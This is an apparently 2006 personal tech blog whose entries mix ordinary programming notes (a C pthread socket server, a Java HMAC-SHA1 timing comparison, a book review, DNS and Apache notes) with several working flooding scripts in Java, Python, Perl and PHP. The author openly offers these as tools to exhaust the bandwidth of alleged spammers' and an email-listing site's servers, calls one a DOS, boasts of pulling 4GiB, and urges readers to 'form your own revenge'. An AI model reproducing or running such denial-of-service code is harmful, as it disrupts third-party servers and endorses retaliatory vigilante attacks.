s5h.net

2006-06-29 dealing with spammers part 3

Now for the nasty webserver log spam. Some people like to put their webserver logs online, or, in some other cases publish the referer value from the inbound web request on their page. I think this is because they like to show their page is dynamic in some way. Anyway, some nasty people out there abuse this. I have noticed this many a time. So, two can play at this game. Why not leach as much as we can from these sites? No one likes a spammer right, so whatever they have on their page cannot be of use, otherwise the spammer would have no reason to spam, everyone would be going there naturally.

So, what to do... what to do... Lets use Java. Nice error capturing and nice threads lets use do what we need. Lets not bother with an interface, lets just leave the program doing what it needs. Ideally this would be run from the best downstream available.

In an ideal would you could find the servers in your weblogs and then locate a nice graphic on their page to download, a single stream is far more efficient for taking over their upstream while leaving your huge down steam occupied but your SYN/SYNACK packets can flow freely when you require the connection.

Well, I think we have a spec, now a few lines of code later we have this (I have removed the offenders from this example, but you should have enough here to form your own revenge. If you need further information just ask).

import java.io.*;
import java.net.*;
import java.util.*;

public class Leach implements Runnable {

	ArrayList urls = new ArrayList<URLDetail>();
	URLDetail u;
	StringBuffer sb = new StringBuffer();

	public Leach( URLDetail ud ) {
		u = ud;
		Thread t = new Thread( this );
		t.start();
	}

	public void run() {
		try {
			while( true ) {
				sb = new StringBuffer();
				Socket s = new Socket( u.ip, 80 );
				PrintWriter pw = new PrintWriter( s.getOutputStream() );
				BufferedReader br = new BufferedReader( new InputStreamReader( s.getInputStream() ) );

				pw.write( "GET " + u.url + " HTTP/1.1\r\n" );
				pw.write( "Host: " + u.host + "\r\n" );
				pw.write( "Referer: " + u.referer + " \r\n" );
				pw.write( "\r\n" );
				pw.flush();
				while( !br.ready() ) {
					Thread.sleep( 50 );
				}

				while( br.ready() ) {
					sb.append( br.readLine() );
				}
				Debug.op( u.host + " - " + String.valueOf( sb.length() ) );

			}
		}
		catch( Exception ie ) {
			Debug.op( "IE" );
		}
	}
	
	public static void main( String []args ) {
		try {
			URLDetail u;
			u = new URLDetail( "hostheader", "/url/", "referer", InetAddress.getByName( "hostheader" ), false );
			Leach l = new Leach( u );
			
			u = new URLDetail( "hostheader", "/url/", "referer", InetAddress.getByName( "hostheader" ), false );
			Leach ll = new Leach( u );

		}
		catch( java.net.UnknownHostException uhe ) {
			Debug.op( "UHE" );
		}
		
		
	}
}import java.net.*;

class URLDetail {
	public String host;
	public InetAddress ip;
	public String url;
	public String referer;
	public boolean binary;

	public URLDetail( String h, String u, String r, InetAddress ia, boolean bin ) {
		this.host = h;
		this.url = u;
		this.ip = ia;
		this.referer = r;
		this.binary = bin;
	}
}class Debug {
	public static void op( String s ) {
		System.out.println( s );
	}
}

To run, just add/remove as many URLDetail lines as required and to compile:

javac Leach.java && java Leach

Have fun with this, help fight spam!

Ah looks like I forgot something rather important - to create loads of threads! The night's bandwidth graph was a little low for creating a DOS, so here's a little change:

		for( int i=0 ; i<10 ; i++ ) {
			Thread t = new Thread( this );
			t.start();
		}

This should go in place of:

		Thread t = new Thread( this );
		t.start();

Unfortunately the greater the number of threads, the greater the frequency of your vital SYN packets for creating new sockets to various destinations. It might be worth playing with the value to find a good value. You should count the overall progress of your program rather than just keeping a hard value, having 10 threads is just fine, if you have 5 sites that are hurting your server logs, but if that was 500 sites, you might want to adjust things a little as thwere would be far too many SYN packets for your requests.

2006-06-27 pthread socket server in c

Have been toying with some code tonight to accept incomming socket connections, then create a new thread to handle that. Some years ago I wrote a game server that uses 'select' to poll for waiting input. This is far too long ago and way too many lines for me to recall.

This snippet here is to be used on some servers for monitoring purposes, but I thought I would share it here in the early stages.

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define SOCKTESTING
#define BACKLOG 10

void *talker( void *d ) {
	int i = 0;
	char buf[1024];
	int fd;

	fd = (int)d;
	
	while( 1 ) {
		sprintf( buf, "%d\n", i++ );
		write( fd, buf, strlen( buf )+1 );
		sleep(4);
	}
}

int bindsockets() {
	int ss,s1,s2,n;
	fd_set sockfds;
	struct timeval tv;
	char buf1[256], buf2[256];
	struct sockaddr_in my_addr;
	struct sockaddr_in socks[50];
	pthread_t thread[50];
	int i=1;
	

	snprintf( buf1, 14, "Hello world" );

	ss = socket( PF_INET, SOCK_STREAM, 0 );
	my_addr.sin_family = AF_INET; // host byte order
	my_addr.sin_port = htons( 12345 ); // short network byte order
	memset( &(my_addr.sin_zero), '\0', 8 ); // zero the rest
	setsockopt( ss, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(int) );

	bind( ss, (struct sockaddr* )&my_addr, sizeof( struct sockaddr ) );

	listen( ss, BACKLOG );

	n = sizeof( struct sockaddr_in );
	i=0;
	while( 1 ) {
		s1 = accept( ss, (struct sockaddr *)&socks[1], &n );
		pthread_create( &(thread[i++]), NULL, talker, (void *)s1 );
	}
	
	return(0);
}

#ifdef SOCKTESTING
int main( int argc, char *argv[] ) {
	bindsockets();
	
	return(0);
}
#endif

Here is the Makefile, just in case you too have a short memory for things like -lpthread

all:
        gcc -lpthread socketserver.c

2006-06-24 file downloads

All code snippets on the site are now downloadable in plain text format. Just follow the line above the snippet for downloading. I hope you find this useful.

I feel that much functionality is now in this simple blogger of mine. Is it worth making a release? Would you use it? What would you like added?

This will either make you laugh or cry, vim

2006-06-23 hmacs

Java seems to take an awefully long time to generate hmacshas. I've no idea why. I would have thought that there would be all sorts of JNI code going on in the background with algorithms for this sort of work. As it turns out, it can take aroudn half a second using the Mac class to generate a HmacSha, and only a fraction of the time on my test box.

import java.io.*;
import java.security.*;
import java.util.*;
import javax.crypto.*;
import javax.crypto.spec.*;


public class HmacSha {
	// HmacSha 0.1 - E Neville, 20060623
	//  
	// produce a hmacsha1 of given data bytes based on given key 
	// bytes slightly faster than Mac class
	
	private static int SHA_DIGESTSIZE = 20;
	private static int SHA_BLOCKSIZE = 64;
	
	public HmacSha() {
	}
	
	private String hexString( byte a[] ) {
		String hexChars = "0123465789abcdef";
		StringBuffer retVal = new StringBuffer();
		byte b,c;

		for( int i=0 ; i<a.length ; i++ ) {
			b = (byte)(( a[i] & 0xf0 ) >> 4 );
			c = (byte)( a[i] & 0x0f );
			if( retVal.length() > 0 ) {
				retVal.append( " " );
			}
			retVal.append( hexChars.charAt(b) + "" + 
					hexChars.charAt(c) );
		}
		return( retVal.toString() );
	}

	public byte[] hmacShaBytes( byte k[], byte d[] ) {
		try {
			byte buf[] = new byte[SHA_BLOCKSIZE];
			MessageDigest ictx = 
				MessageDigest.getInstance( "SHA-1" );
			MessageDigest octx =
				MessageDigest.getInstance( "SHA-1" );
			
			if( k.length > SHA_BLOCKSIZE ) {
				MessageDigest kctx =
					MessageDigest.getInstance( 
							"SHA-1" );
				kctx.update( k );
				k = kctx.digest();
			}

			// inner digest
			for( int i=0 ; i<k.length ; i++ ) {
				buf[i] = (byte)( k[i] ^ 0x36 );
			}

			for( int i=k.length ; i<SHA_BLOCKSIZE ; i++ ) {
				buf[i] = 0x36;
			}

			ictx.update( buf );
			ictx.update( d );
			// byte isha[] = ictx.digest();
			
			// outter digest
			for( int i=0 ; i<k.length ; i++ ) {
				buf[i] = (byte)( k[i] ^ 0x5c );
			}

			for( int i=k.length ; i<SHA_BLOCKSIZE ; i++ ) {
				buf[i] = 0x5c;
			}

			octx.update( buf );
			octx.update( ictx.digest() );
			buf = octx.digest();
			return( buf );
		}
		catch( java.security.NoSuchAlgorithmException nsae ) {
		}
		
		return( null );

	}
	
	
	public static void main( String []args ) {
		HmacSha hs = new HmacSha();
		byte a[] = { 0, 1, 2, 3, 4, 5, 20 };
		String key = "Jefe", data = "what do ya want for nothing?";
		
		Date ihmacstart = new Date();
		System.out.println( 
			hs.hexString( 
			hs.hmacShaBytes( key.getBytes(), data.getBytes() ) ) );
		Date ihmacstop = new Date();

		Date jhmacstart = new Date();
		try {
			SecretKey sk = new SecretKeySpec( 
					key.getBytes(),
					"HmacSha1" );

			Mac m = Mac.getInstance( sk.getAlgorithm() );
			m.init( sk );
			m.update( data.getBytes() );
			byte hmac[] = m.doFinal();
			System.out.println( hs.hexString( hmac ) );
			Date jhmacstop = new Date();
			
			System.out.println( "Generating manually: " +
					( ( ihmacstop.getTime() 
					    - ihmacstart.getTime() ) 
					  )+ "\n" +
					"Generating using JRE: " +
					( ( jhmacstop.getTime() 
					    - jhmacstart.getTime() ) 
					  ) + "\n" );
		}
		catch( java.security.NoSuchAlgorithmException nsae ) {
		}
		catch( java.security.InvalidKeyException ike ) {
		}
			
	}
}

When run, this is quite apparent:

$ /usr/local/jdk1.5.0_06/bin/javac ./HmacSha.java  && /usr/local/jdk1.5.0_06/bin/java HmacSha
ef fc df 5a e6 eb 2f a2 d2 74 15 d6 f1 84 df 9c 26 9a 7c 79
ef fc df 5a e6 eb 2f a2 d2 74 15 d6 f1 84 df 9c 26 9a 7c 79
Generating manually: 33
Generating using JRE: 474

What bothers me is that a library problem like this is not handled, surely someone who works for Sun would have pointed this out. I know relatively little compared to the authors of this, why didn't someone there prevent this, or at least let it be known in the documentation, and provide the snippet that I have pasted here, it's just a short re-write of RFC2202 that I did by chance.

2006-06-17 The Cuckoo's Egg

Finished reading The Cuckoo's Egg yesterday. The book had me gripped for a whole week. With last weekend being hot enough to fry an egg in the sun outside I decided that I could keep the house a little cooler by having less applicances switched on and so reading this book seemed a quiet escape.

Detailed in the book the, Cliff tracks a hacker through his systems, without giving too much away, the federal agences seemed unwilling to assist Cliff in his quest to press charges. The pace keeps even the most excited mind interested. Do not disregard this book as just something for those who are computer literate, there is little jargon and much chase. If you have 10 mins to spare per day, read this.

If you are interested in seeing some other operating systems than the run of the mill, why not head over to osvids.com and take a look around.

Once again it's the weekend and it's far too hot to do any real work. All I have accomplished today is a hello world gtk2 app and a perl stock ticker. It's nearly 22:00 and way too hot to work on my Opteron (I've been using my P4 laptop all day you see, and my wrists are showing the strain). Tomorrow I shall have to just read all day.

2006-06-08 DNS database error!

As shown last night, I decided to breath some new life into this system with a upgrade. I dist-upgraded and to my surprise the database bindings between jdbc and mysql have changed! Yes! A rather important join had altered and at that special time in the night when I get new data from the master zones the DNS system flushed and rebuilt from the database all the changes. This caused all sites, mail etc to be offline. Very sorry to those who use my system. I will do better to check these things that work continuously without complaint before going to bed.

This is very embarassing for myself as I wrote the system from scratch. I assure you this was very much a surprise for me.

In other news - ntlworld have sent a letter stating that I have been spamming. I think what they mean is, you are acting as a MX backup, and we don't like that. Well, if they gave me a static IP address I would not have to send any mail through them, as my mail would not get blocked on SORBS style lists.

Well.. in some defence of NTL, the chap's domains do get hit by a lot of spam.. it's possible that they think that I am the spam's origin.

2006-06-07 apache2

Upgraded my home webserver computer from stable => testing. No real performance improvements, but it does give me a chance to play around with some of the inner parts of Apache2. Stay tuned for some modules.

One thing I miss is that with Apache you could use standard input as the socket source, this, would allow a script to run infront of apache, as the socket handler (this is how inetd did it). The performance problems here requires some thought of how fork() starts a process. When fork() runs it does "copy on write" (on linux), so the new process takes the image of the parent. In this case inetd forks, duplicating it's image, then duplicates the file descriptors so apache knows what it's talking with, then calls execve, which copies the image of /usr/sbin/apache into that memory space.

In the case of Apache as the socket server (and not inetd - which is no longer possible) Apache forks() it's own image into the new connection handler, which serves the user's request. This is by far more efficient.

Sadly it means we can no longer mess about with the input/output before apache handles it. So thus, it has to be done with modules.

2006-06-05 crafty

The host in the article [below] had forgotten to disable threads in python. So I am now using those to my advantage in the download of the email list. Is what I am doing wrong? Should I accept that they are displaing my data for anyone to download and abuse?

#!/usr/bin/python

import thread,time,sys,socket

def mythread():
	server = 'server'
	path = '/file'
	bytes = 0

	while(1):
		s = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
		s.connect((server, 80))
		s.send( "GET %s HTTP/1.1\r\n" % path );
		s.send( "Host:%s\r\n" % server )
		s.send( "Connection:close\r\n\r\n" );

		while(1):
			data = s.recv(1024)
			if not data:
				break

			bytes += len(data)

		print( "bytes: %d" % bytes )
		bytes = 0
		
		sys.stdout.flush()
	

def main():
	print "Content-type: text/plain\r\n\r\n"

	for i in range( 1, 10 ):
		thread.start_new_thread( mythread, ())
	
	while( 1 ):
		time.sleep( 0.5 )
 
main()

This is by far a more efficient way to hurt the host. As far as I can tell, the host is more concerned in keeping what they upload to a minimum. They should not mind.

According to my calculations, I have just downloaded 4GiB of data from the host in a space of about two hours. Impressive eh? They should be noticing it in the website stats.

2006-06-03 content management

Once again I am having throughts of how this site should be divided for content (also having thoughts about putting a spell checker on the edit page!). How should one organise a tech blog?

2006-06-03 how to deal with spam (part 2)

I had a google for my work email address some while ago, just to see what people were posting these details due to my inbox spam increase. What do I find? One site has collated a whole list of email addresses and put them in full view! This is an outrage. Sure, no one is getting physically hurt by this. I want to hurt someone about it though. Time to fight back, the only way I know how!

What to do, what to do? Lets inform their admin. Write them a nice, polite email, suggesting they remove the page. This was sent some weeks ago, the page is still up. It was copied to all the addresses on their contact page, their abuse@ address was never responded to. So lets help them notice this damned obscenity. Lets repeatidly download this page to get it on thier stats. No such joy, they have more bandwidth than I do. So lets use a proxy, I have paid hosting for one of my sites that has many pictures. Lets upload some perl to get some notice.

#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;
use Thread;

my $counter;

sub mysend {
	my $sock = shift;
	my $line = shift;

	print( $sock "$line\r\n" ) or die( "Could not send $line" );
}

sub readsock {
	my $sock = shift;

	my @lines = <$sock>;
}

sub download {
	my $sock = new IO::Socket::INET (
				PeerAddr => 'address',
				PeerPort => 80,
				Proto => 'tcp'
				);
	my $counter = 0;

	$sock->autoflush(1);

	die "Could not create socket" unless $sock;

	mysend( $sock, 
		"GET /url HTTP/1.0" );
	mysend( $sock, "Host: address" );
	mysend( $sock, "User-Agent: Mozilla/5.0" );
	mysend( $sock, "Accept: */*" );
	mysend( $sock, "Connection: Keep-Alive" );
	mysend( $sock, "" );

	readsock( $sock );
	
	close( $sock );
}

sub threadproc {

	while( 1 ) {
		$counter++;
		download();
		$| = 1;
		print( "Got: $counter\n" );
	}
}

my @threads;

print( "Content-type: text/plain\r\n\r\n" );

print( "Starting process\n" );

for( my $i=0 ; $i<15 ; $i++ ) {
	$threads[$i] = Thread->new( \&threadproc );
}

while( 1 ) {
	$counter++;
	download();
	print( "Got: $counter\n" );
}

This code does not work. Like all good shared hosts, they have neglected to inlude some of the required modules for this. Which is more than sensible, people like me would use them for purposes like this. They have stacks of bandwidth so I dont see any major problem. Ok step two. Same in PHP.

Lets use fork()...

if( function_exists( pcntl_fork ) ) {
	$id = pcntl_fork();
	
	if( $pid == -1 ) {
		echo( "Could not fork" );
	}
	else {
		if( $pid ) {
			echo( "Parent" );
		}
		else {
			echo( "Child" );
		}
	}
}

Ummm fork not included... Ok, lets just do it with some sockets, as best I can.

<?php

define( SERVER, "their.it" );
define( LOCATION, "url" );

function downloads() {
	
	while( true ) {
		$t1 = time();
		$counter = 0;
		
		for( $i=0 ; $i<10 ; $i++ ) {
			
			echo( "Opening $i\n" );
			$fp[$i] = fsockopen( SERVER, 80, $eno, $estr, 
				30 );
			if( !$fp[$i] ) {
				echo( "$estr ($eno)\n" );
				return;
			}

			$c = "GET " . LOCATION . " HTTP/1.1\r\n";
			$c .= "Host: " . LOCATION . "\r\n";
			$c .= "Connection: Close\r\n\r\n";

			fwrite( $fp[$i], $c );
		}

		while( !feof( $fp[0] ) ) {
			for( $i=0 ; $i<10 ; $i++ ) {
				$counter += strlen( fgets( $fp[$i], 512 ) );
			}
		}
		
		for( $i=0; $i<10 ; $i++ ) {
			fclose( $fp[$i] );
		}
		print( "Downloaded $counter\n" );
		$seconds = time() - $t1;
		print( $counter / 1024 / $seconds . "k/sec\n" );
	}
}

downloads();

?>